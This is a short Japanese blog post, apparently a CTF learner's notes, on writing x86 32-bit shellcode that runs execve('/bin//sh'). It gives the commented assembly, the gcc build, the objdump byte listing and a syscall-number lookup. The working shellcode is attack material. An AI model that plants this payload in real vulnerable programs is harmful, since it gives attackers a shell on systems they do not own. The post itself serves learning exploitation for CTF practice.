/bin/shを起動するシェルコード(x86)
単純なオーバフローを起こすと解けるpwnは解けるようになってきた。 ただ、shellcodeが必要な問題だと、shellcodeをどこからか持ってこないといけない。 それだと応用が効かないので、shellcodeを作れるようになりたいと思う。 そのためにまずは、shellcodeとして使えるアセンブリのビルド方法を調べて試してみた。
以下はx86マシン(32bit)でshellを起動するアセンブリコード
# cat a.s .intel_syntax noprefix # Intel記法を使うにはこの記述が必要らしい .globl main main: xor eax, eax # eaxをゼロクリア push eax push 0x68732f2f # //sh ※エンディアン注意。影響のない"/"を追加して4バイトにしている、たぶん。 push 0x6e69622f # /bin ※エンディアン注意 mov ebx, esp push eax push ebx mov ecx, esp mov al, 0xb # システムコール番号(11)の設定 int 0x80 # システムコール(execve)
以下のようにgccで実行ファイルを生成可能。
# gcc -m32 a.s # ./a.out sh-4.2#
これをobjdumpしてあげるとshellcodeがわかる。
# objdump -d -Mintel a.out | grep -A10 \<main\> 080483ed <main>: 80483ed: 31 c0 xor eax,eax 80483ef: 50 push eax 80483f0: 68 2f 2f 73 68 push 0x68732f2f 80483f5: 68 2f 62 69 6e push 0x6e69622f 80483fa: 89 e3 mov ebx,esp 80483fc: 50 push eax 80483fd: 53 push ebx 80483fe: 89 e1 mov ecx,esp 8048400: b0 0b mov al,0xb 8048402: cd 80 int 0x80
レジスタとスタックの様子を図示してみた。レジスタとスタックに適切な値を設定してから、システムコール(int 0x80)を実行すればよいことがわかる。
なお、システムコール番号はausyscallコマンドで調べられる。
# ausyscall i686 --dump | grep '^11\s' 11 execve
以下のコードを参考に勉強させて頂きました。